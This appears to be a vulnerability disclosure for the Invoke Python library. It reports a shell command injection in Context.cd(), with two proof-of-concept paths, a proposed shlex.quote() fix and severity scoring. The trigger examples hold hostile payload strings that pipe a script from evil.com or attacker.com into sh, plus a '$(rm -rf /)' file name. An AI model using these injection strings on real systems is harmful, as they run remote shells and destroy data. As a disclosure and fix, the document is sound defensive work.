Summary
Context.cd() builds shell commands by inserting the raw path into "cd {} && <command>".format(path) inside _prefix_commands(). Only space characters are escaped (via .replace(" ", r"\ ")). All other shell metacharacters — $(), `, ;, |, &&, ||, newlines — are passed through verbatim to bash -c.
An inline TODO in the source acknowledges this is incomplete:
# invoke/context.py:354
# TODO: see if there's a stronger "escape this path" function somewhere
# we can reuse. e.g., escaping tildes or slashes in filenames.
paths = [path.replace(" ", r"\ ") for path in self.command_cwds[i:]]
Affected code
File: invoke/context.py
Functions: cwd property (line 337) and _prefix_commands() (line 266)
Commit: 6a71e680c535ba6520e935c497099fbca011d03c
# _prefix_commands() — the injection point
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd # ← only spaces escaped
if current_directory:
prefixes.insert(0, "cd {}".format(current_directory)) # ← raw into shell
return " && ".join(prefixes + [command])
# The assembled string is passed to:
# Popen(command, shell=True, executable="/bin/bash")
# OR os.execvpe(shell, [shell, "-c", command], env)
Two confirmed injection vectors
Vector A — Command substitution $() (no spaces → space-escape doesn't help):
c = Context()
with c.cd("$(id>/tmp/invoke_poc.txt)"):
c.run("echo normal")
# bash receives: cd $(id>/tmp/invoke_poc.txt) && echo normal
# bash evaluates $(...) BEFORE cd → runs id, writes output to file
# cd fails silently, echo runs normally
# /tmp/invoke_poc.txt: uid=1000(user) gid=1000(user) ...
Vector B — Semicolon chaining (no spaces):
with c.cd("/tmp;id>/tmp/invoke_poc.txt"):
c.run("echo normal")
# bash receives: cd /tmp;id>/tmp/invoke_poc.txt && echo normal
# Executes: 1) cd /tmp 2) id>/tmp/invoke_poc.txt 3) echo normal
Verified output (run against commit 6a71e68 in isolated environment)
[Vector A] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
[Vector B] /tmp/invoke_poc.txt: 'uid=0(root) gid=0(root) groups=0(root)\n'
Real-world trigger conditions
Any task that passes external or user-controlled input to c.cd():
# 1. User-supplied CLI argument
@task
def deploy(c, target_dir):
with c.cd(target_dir): # invoke deploy --target-dir '$(curl evil.com/shell.sh|sh)'
c.run("make install")
# 2. Dynamic path from filesystem scan (filenames can be arbitrary)
for entry in Path("/repos").iterdir():
with c.cd(str(entry)): # entry name: "$(rm -rf /)"
c.run("git pull")
# 3. Path from config/API/DB
for repo in api_response["repos"]:
with c.cd(repo["path"]): # path: "/work;curl attacker.com|sh"
c.run("git status")
In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.
Severity
High — arbitrary command execution in the context of the invoking process.
CWE-78 (OS Command Injection)
CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 (if path from network/user input)
CVSS 3.1: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 7.8 (local-only use)
Fix
Apply shlex.quote() to the assembled directory in _prefix_commands(), and remove the incomplete space-only escaping from cwd:
import shlex
def _prefix_commands(self, command: str) -> str:
prefixes = list(self.command_prefixes)
current_directory = self.cwd
if current_directory:
prefixes.insert(0, "cd {}".format(shlex.quote(current_directory))) # ← safe
return " && ".join(prefixes + [command])
@property
def cwd(self) -> str:
...
paths = list(self.command_cwds[i:]) # ← shlex.quote() handles all escaping
return str(os.path.join(*paths))
shlex.quote() wraps in single quotes and escapes embedded single quotes:
/tmp;id → '/tmp;id' (semicolon becomes literal)
$(id) → '$(id)' (dollar/parens become literal)
my dir → 'my dir' (space handled correctly, no backslash needed)
A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection
Reporter
Harsh Raj Singhania — independent security researcher
Contact: raj.harshraut@gmail.com
Summary
Context.cd()builds shell commands by inserting the raw path into"cd {} && <command>".format(path)inside_prefix_commands(). Only space characters are escaped (via.replace(" ", r"\ ")). All other shell metacharacters —$(),`,;,|,&&,||, newlines — are passed through verbatim tobash -c.An inline TODO in the source acknowledges this is incomplete:
Affected code
File:
invoke/context.pyFunctions:
cwdproperty (line 337) and_prefix_commands()(line 266)Commit:
6a71e680c535ba6520e935c497099fbca011d03cTwo confirmed injection vectors
Vector A — Command substitution
$()(no spaces → space-escape doesn't help):Vector B — Semicolon chaining (no spaces):
Verified output (run against commit
6a71e68in isolated environment)Real-world trigger conditions
Any task that passes external or user-controlled input to
c.cd():In Fabric (which wraps Invoke for SSH), remote directory names are directly fed to
c.cd(), making this exploitable when running tasks against hostile or compromised remote filesystems.Severity
High — arbitrary command execution in the context of the invoking process.
CWE-78 (OS Command Injection)
CVSS 3.1:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 8.8 (if path from network/user input)CVSS 3.1:
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 7.8 (local-only use)Fix
Apply
shlex.quote()to the assembled directory in_prefix_commands(), and remove the incomplete space-only escaping fromcwd:shlex.quote()wraps in single quotes and escapes embedded single quotes:/tmp;id→'/tmp;id'(semicolon becomes literal)$(id)→'$(id)'(dollar/parens become literal)my dir→'my dir'(space handled correctly, no backslash needed)A patch implementing this fix is available at:
https://github.com/HarshRajSinghania/invoke/tree/fix/i1-cd-shell-injection
Reporter
Harsh Raj Singhania — independent security researcher
Contact: raj.harshraut@gmail.com